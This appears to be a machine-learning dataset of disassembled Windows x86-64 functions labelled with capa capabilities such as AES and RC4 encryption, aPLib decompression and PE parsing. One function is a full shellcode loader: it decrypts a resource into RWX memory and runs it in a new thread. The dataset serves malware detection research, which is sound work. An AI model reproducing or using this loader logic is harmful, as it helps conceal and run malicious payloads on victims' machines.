joyce8/EMBER2024-capa huggingface dataset:
Function at 0x464960
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x40374f
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
nop
call fcn.00409ce0
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004628c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x403720
cmp byte [0x005e65f0], 0
je 0x464975
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x4619c0
jmp 0x403720

Function at 0x464980
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x40a14f
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x28], rbx
call fcn.0040a240
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
mov rbx, qword [rsp + 0x28]
xor rbx, rax
xor rbx, qword [0x005e68e0]
movabs rdx, 0xa0761d6478bd642f
xor rbx, rdx
mov rax, rcx
call fcn.0040a220
mov rbx, rax
movabs rax, 0x1d8e4e27c47d124b
nop dword [rax]
call fcn.0040a220
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004628c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x40a0e0
cmp byte [0x005e65f0], 0
je 0x4649b5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005e6c20]
aesenc xmm0, xmmword [0x005e6c30]
aesenc xmm0, xmmword [0x005e6c40]
movq rax, xmm0
ret
jmp 0x40a0e0

Function at 0x4649c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x40a1ef
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x28], rbx
call fcn.0040a280
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
mov rbx, qword [rsp + 0x28]
xor rbx, rax
xor rbx, qword [0x005e68e0]
movabs rdx, 0xa0761d6478bd642f
xor rbx, rdx
mov rax, rcx
call fcn.0040a220
mov rbx, rax
movabs rax, 0x1d8e4e27c47d1247
nop dword [rax]
call fcn.0040a220
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004628c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x40a180
cmp byte [0x005e65f0], 0
je 0x4649f6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005e6c20]
aesenc xmm0, xmmword [0x005e6c30]
aesenc xmm0, xmmword [0x005e6c40]
movq rax, xmm0
ret
jmp 0x40a180

Function at 0x466280
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x30
mov rcx, 0xfffffffffffffff4
mov qword [rsp], rcx
mov rax, qword [sym.imp.kernel32.dll_GetStdHandle]
call rax
mov rcx, rax
mov qword [rsp], rcx
lea rdx, [0x005e6ba0]
mov qword [rsp + 8], rdx
lea r8d, [0x005e6608]
mov qword [rsp + 0x10], r8
lea r9, [rsp + 0x28]
mov qword [r9], 0
mov qword [rsp + 0x18], r9
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.kernel32.dll_WriteFile]
call rax
call fcn.004648a0
add rsp, 0x30
ret
Function at 0x4667c0
Capabilities:
Allocate thread local storage

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x4667ec
call fcn.004648a0
shl rcx, 3
add rcx, 0x1480
mov qword [0x005e67f8], rcx
ret
Function at 0x498a80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x498cb6
sub rsp, 0x68
mov qword [rsp + 0x60], rbp
lea rbp, [rsp + 0x60]
mov qword [rsp + 0x70], rax
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
xor r8d, r8d
jmp 0x498ac3
dec rbx
mov r10, rbx
neg rbx
sar rbx, 0x3f
and ebx, 1
add rax, rbx
mov rbx, r10
mov rcx, r9
test rbx, rbx
je 0x498c97
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rax
mov byte [rsp + 0x46], r8b
movzx r9d, byte [rax]
mov byte [rsp + 0x47], r9b
cmp r9b, 0x20
jbe 0x498bf3
cmp r9b, 0x22
je 0x498b04
cmp r9b, 0x5c
jne 0x498c05
lea r9, [rcx + 1]
jmp 0x498aaa
mov qword [rsp + 0x48], rcx
mov r8, rcx
shr rcx, 0x3f
lea r9, [rcx + r8]
sar r9, 1
mov rax, rdi
mov rbx, rdx
mov rcx, rsi
mov rdi, r9
call fcn.004989e0
mov rdx, qword [rsp + 0x48]
bt edx, 0
jb 0x498bab
movzx edx, byte [rsp + 0x46]
test dl, dl
je 0x498b9c
mov r8, qword [rsp + 0x50]
cmp r8, 1
jle 0x498b92
mov r9, qword [rsp + 0x58]
cmp byte [r9 + 1], 0x22
jne 0x498b8a
inc rbx
cmp rcx, rbx
jae 0x498b7b
mov edi, 1
lea rsi, [0x004c87a0]
call fcn.0044b660
movzx edx, byte [rsp + 0x46]
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x58]
mov byte [rbx + rax - 1], 0x22
lea rsi, [r8 - 1]
lea r8, [r9 + 1]
jmp 0x498ba6
mov rsi, r8
mov r8, r9
jmp 0x498ba6
mov rsi, r8
mov r8, qword [rsp + 0x58]
jmp 0x498ba6
mov rsi, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
xor edx, 1
jmp 0x498bd9
inc rbx
cmp rcx, rbx
jae 0x498bc5
mov edi, 1
lea rsi, [0x004c87a0]
nop
call fcn.0044b660
mov byte [rbx + rax - 1], 0x22
mov rsi, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
movzx edx, byte [rsp + 0x46]
xor r9d, r9d
mov rdi, rax
mov rax, r8
mov r8d, edx
mov rdx, rbx
mov rbx, rsi
mov rsi, rcx
jmp 0x498aaa
cmp r9b, 9
je 0x498c00
cmp r9b, 0x20
jne 0x498c05
nop
test r8b, r8b
je 0x498c5b
mov rax, rdi
mov rbx, rdx
mov rdi, rcx
mov rcx, rsi
call fcn.004989e0
inc rbx
cmp rcx, rbx
jae 0x498c2f
mov edi, 1
lea rsi, [0x004c87a0]
call fcn.0044b660
movzx r10d, byte [rsp + 0x47]
mov byte [rbx + rax - 1], r10b
mov rsi, rcx
mov rdx, rbx
xor r9d, r9d
mov rdi, rax
movzx r8d, byte [rsp + 0x46]
mov rbx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
jmp 0x498aaa
mov rax, rdi
mov rbx, rdx
mov rdi, rcx
mov rcx, rsi
call fcn.004989e0
mov rsi, qword [rsp + 0x50]
dec rsi
mov rdx, rsi
neg rsi
sar rsi, 0x3f
and esi, 1
mov r8, qword [rsp + 0x58]
lea rdi, [rsi + r8]
mov rsi, rdx
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
mov rax, rdi
mov rbx, rdx
mov rdi, rcx
mov rcx, rsi
call fcn.004989e0
xor edi, edi
xor esi, esi
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004628c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00498a80
Function at 0x49a080
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49a21b
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x20], rax
nop dword [rax]
cmp rbx, 2
jl 0x49a156
movzx ecx, byte [rax]
cmp byte [rax + 1], 0x3a
jne 0x49a0dc
lea edx, [rcx - 0x30]
cmp dl, 9
jbe 0x49a0cd
lea edx, [rcx - 0x61]
nop
cmp dl, 0x19
jbe 0x49a0cd
lea edx, [rcx - 0x41]
cmp dl, 0x19
ja 0x49a0dc
mov ebx, 2
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
cmp rbx, 5
jge 0x49a0f0
xor ecx, ecx
jmp 0x49a103
mov eax, ecx
call fcn.00499fc0
mov rbx, qword [rsp + 0x28]
mov ecx, eax
mov rax, qword [rsp + 0x20]
test cl, cl
jne 0x49a10b
xor ecx, ecx
jmp 0x49a145
movzx ecx, byte [rax + 1]
mov eax, ecx
call fcn.00499fc0
test al, al
jne 0x49a128
mov rax, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x28]
xor ecx, ecx
jmp 0x49a145
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + 2]
call fcn.00499fc0
xor eax, 1
mov rbx, qword [rsp + 0x28]
mov ecx, eax
mov rax, qword [rsp + 0x20]
test cl, cl
je 0x49a164
cmp byte [rax + 2], 0x2e
je 0x49a164
mov ecx, 3
jmp 0x49a184
xor eax, eax
xor ebx, ebx
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
xor eax, eax
xor ebx, ebx
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rcx, qword [rsp + 8]
inc rcx
mov rax, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x28]
lea rdx, [rbx - 1]
cmp rcx, rdx
jge 0x49a164
mov qword [rsp + 8], rcx
movzx edx, byte [rcx + rax]
mov eax, edx
call fcn.00499fc0
nop dword [rax]
test al, al
je 0x49a172
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
movzx eax, byte [rdx + rcx + 1]
call fcn.00499fc0
test al, al
jne 0x49a164
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
movzx edx, byte [rcx + rax + 1]
cmp dl, 0x2e
je 0x49a164
inc rcx
jmp 0x49a1e2
mov rcx, qword [rsp + 8]
inc rcx
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
cmp rdx, rcx
jle 0x49a20e
mov qword [rsp + 8], rcx
movzx edx, byte [rcx + rax]
mov eax, edx
call fcn.00499fc0
nop dword [rax]
test al, al
je 0x49a1d5
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
mov rbx, rcx
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004628c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.0049a080
Function at 0x10001a04c
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x60
mov rax, qword [rcx]
mov rbx, rdx
mov rbp, rcx
xor esi, esi
call qword [rax + 0x28]
movzx r13d, ax
cmp ax, si
je 0x100026beb
mov rax, qword [rbp]
mov rcx, rbp
mov qword [rbp + 0x28], rbx
call qword [rax + 0xb0]
mov rcx, rbp
mov r12d, eax
mov rax, qword [rbp]
call qword [rax + 0xa8]
cmp al, sil
jne 0x100026c0d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rbp
mov rbx, rax
mov rax, qword [rbp]
call qword [rax + 0xb8]
mov rcx, rbp
mov edi, eax
mov rax, qword [rbp]
call qword [rax + 0x30]
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov r8, rax
movzx edx, r13w
mov r9d, edi
mov ecx, r12d
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [rbp + 8], rax
cmp rax, rsi
je 0x100026beb
mov ecx, dword [0x1000da5a0]
mov qword [rbp + 0x80], rax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdx, qword [rbp + 0x80]
mov rcx, rax
call fcn.100010180
mov rcx, qword [rbp + 8]
lea rbx, [rbp + 0x20]
mov edi, 1
lea r8, [0x10000152c]
mov r9, rbp
mov edx, edi
mov qword [rsp + 0x20], rbx
call fcn.100005ecc
cmp qword [rbx], rsi
je 0x100026beb
mov rcx, qword [rbp + 0x28]
cmp rcx, rsi
jne 0x100026c17
cmp qword [rbx], rsi
je 0x10001a181
mov rcx, qword [rbx]
mov edx, 0x400
mov r8d, edx
call fcn.10000123c
mov ecx, 0x1000
call qword [sym.imp.USER32.dll_GetSystemMetrics]
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x18]
cmp eax, esi
lea rcx, [0x1000dbfa0]
setne al
mov byte [rbp + 0x70], al
call fcn.10001a210
xor ecx, ecx
call fcn.100006514
cmp al, sil
je 0x10001a1e4
mov rdx, qword [rbp]
mov rcx, rbp
call qword [rdx + pe_nt_image_headers64]
mov rcx, qword [rbp + 8]
mov r9d, 4
lea edx, [r9 + 4]
lea r8, [rsp + 0x80]
mov dword [rsp + 0x80], eax
call qword [sym.imp.dwmapi.dll_DwmSetWindowAttribute]
lea r11, [rsp + 0x60]
mov eax, esi
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
call sub.KERNEL32.dll_GetLastError
mov r11d, eax
cmp eax, esi
je 0x100026c2f
movzx eax, ax
or eax, 0x80070000
cmp r11d, esi
cmovle eax, r11d
mov esi, eax
jmp 0x10001a1e4
bts r12d, 0x13
jmp 0x10001a0a9
mov r9, qword [rbp + 8]
mov r8, rdi
mov edx, 0x402
call qword [sym.imp.USER32.dll_SendMessageW]
nop
jmp 0x10001a16c
mov esi, 0x80004005
jmp 0x10001a1e4

Function at 0x10001b6c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x10001b707
cmp rcx, 0xffffffffffffffff
je 0x10001b707
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x10001b705
cmp dword [rcx + 0x3c], edx
jl 0x10001b705
cmp dword [rcx + 0x3c], 0x10000000
jae 0x10001b705
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x10001b707
mov rax, rdx
add rsp, 0x18
ret
Function at 0x100002454
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r12
push r13
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
xor r12d, r12d
xor eax, eax
lock cmpxchg qword [0x100004758], rdi
je 0x1000024a2
cmp rax, rdi
jne 0x100002495
mov edi, 1
mov r12d, edi
jmp 0x1000024a7
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100002479
mov edi, 1
mov eax, dword [0x100004750]
cmp eax, edi
jne 0x1000024bd
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x10000251a
mov eax, dword [0x100004750]
test eax, eax
jne 0x100002514
mov dword [0x100004750], edi
lea r13, [0x100001290]
lea rsi, [0x100001278]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
cmp rsi, r13
jae 0x100002506
test eax, eax
jne 0x100002506
mov rcx, qword [rsi]
test rcx, rcx
je 0x1000024fb
call rcx
mov dword [rsp + 0x20], eax
add rsi, 8
mov qword [rsp + 0x28], rsi
jmp 0x1000024e4
test eax, eax
je 0x10000251a
mov eax, 0xff
jmp 0x1000025ec
mov dword [0x100004184], edi
mov eax, dword [0x100004750]
cmp eax, edi
jne 0x100002541
lea rdx, [0x100001270]
lea rcx, [0x100001260]
call sub.msvcrt.dll__initterm
mov dword [0x100004750], 2
test r12d, r12d
jne 0x10000254f
xor eax, eax
xchg qword [0x100004758], rax
cmp qword [0x100004760], 0
je 0x100002578
lea rcx, [0x100004760]
call fcn.10000284c
test eax, eax
je 0x100002578
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100004760]
mov r8, qword [0x100004168]
mov rdx, qword [0x100004170]
mov ecx, dword [0x100004160]
call fcn.100001b54
mov dword [0x100004180], eax
cmp dword [0x100004164], 0
jne 0x1000025a8
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x100004184], 0
jne 0x1000025bd
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x100004180]
jmp 0x1000025ec
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
add rsp, 0x30
pop r13
ret
sub rsp, 0x28
call fcn.100173000
add rsp, 0x28
jmp 0x100002454
Function at 0x1407d6058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1407d61df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1407d6089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407d606f
add dl, dl
jne 0x1407d6096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407d60f6
xor eax, eax
add dl, dl
jne 0x1407d60a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407d61ad
add dl, dl
jne 0x1407d60b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407d60c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407d60d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407d60dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407d60ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1407d607e
mov eax, 1
add dl, dl
jne 0x1407d6106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407d6113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407d60fb
sub eax, ebx
mov ebx, 1
jne 0x1407d614c
mov ecx, 1
add dl, dl
jne 0x1407d612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407d613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407d6123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407d607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1407d6168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407d6175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407d615d
cmp eax, 0x7d00
jae 0x1407d619b
cmp eax, 0x500
jb 0x1407d6196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407d607e
cmp eax, 0x7f
ja 0x1407d619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407d607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407d61d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1407d607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x18080e058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.18080e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x18080e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18080e06f
add dl, dl
jne 0x18080e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18080e0f6
xor eax, eax
add dl, dl
jne 0x18080e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18080e1ad
add dl, dl
jne 0x18080e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18080e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18080e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18080e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x18080e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18080e07e
mov eax, 1
add dl, dl
jne 0x18080e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18080e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18080e0fb
sub eax, ebx
mov ebx, 1
jne 0x18080e14c
mov ecx, 1
add dl, dl
jne 0x18080e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18080e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18080e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18080e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x18080e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18080e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18080e15d
cmp eax, 0x7d00
jae 0x18080e19b
cmp eax, 0x500
jb 0x18080e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18080e07e
cmp eax, 0x7f
ja 0x18080e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18080e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x18080e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18080e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Extract resource via kernel32 functions
Hash data via wincrypt
Initialize hashing via wincrypt
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [str.y_vY]
mov edx, 0x65
xor ecx, ecx
mov dword [rsp + 0x38], 0
movdqu xmmword [rsp + 0x58], xmm0
lea r8d, [rdx - 0x5b]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x1400010cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Could_not_find_resource__Error_code:__d_n
call fcn.140001010
jmp 0x14000126e
mov qword [rsp + 0x80], rbp
mov rdx, rbx
mov qword [rsp + 0x88], rsi
xor ecx, ecx
mov qword [rsp + 0x90], rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
mov r9d, 0x40
mov r8d, 0x3000
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memmove
mov r9d, 0x18
mov dword [rsp + 0x30], ebx
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov rdi, qword [rsp + 0x90]
test eax, eax
je 0x140001214
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001214
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x58]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001214
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001214
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001214
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
lea r9, [rsp + 0x38]
mov r8d, 0x40
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rbp, qword [rsp + 0x80]
test eax, eax
je 0x140001266
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rsi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rsi, qword [rsp + 0x88]
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400012a0
add rsp, 0x70
pop rbx
ret
Function at 0x1794268
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.017943ef
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1794299
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x179427f
add dl, dl
jne 0x17942a6
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1794306
xor eax, eax
add dl, dl
jne 0x17942b5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x17943bd
add dl, dl
jne 0x17942c6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x17942d3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x17942e0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x17942ed
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x17942fa
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x179428e
mov eax, 1
add dl, dl
jne 0x1794316
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1794323
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x179430b
sub eax, ebx
mov ebx, 1
jne 0x179435c
mov ecx, 1
add dl, dl
jne 0x179433e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x179434b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1794333
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x179428e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1794378
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1794385
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x179436d
cmp eax, 0x7d00
jae 0x17943ab
cmp eax, 0x500
jb 0x17943a6
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x179428e
cmp eax, 0x7f
ja 0x17943ae
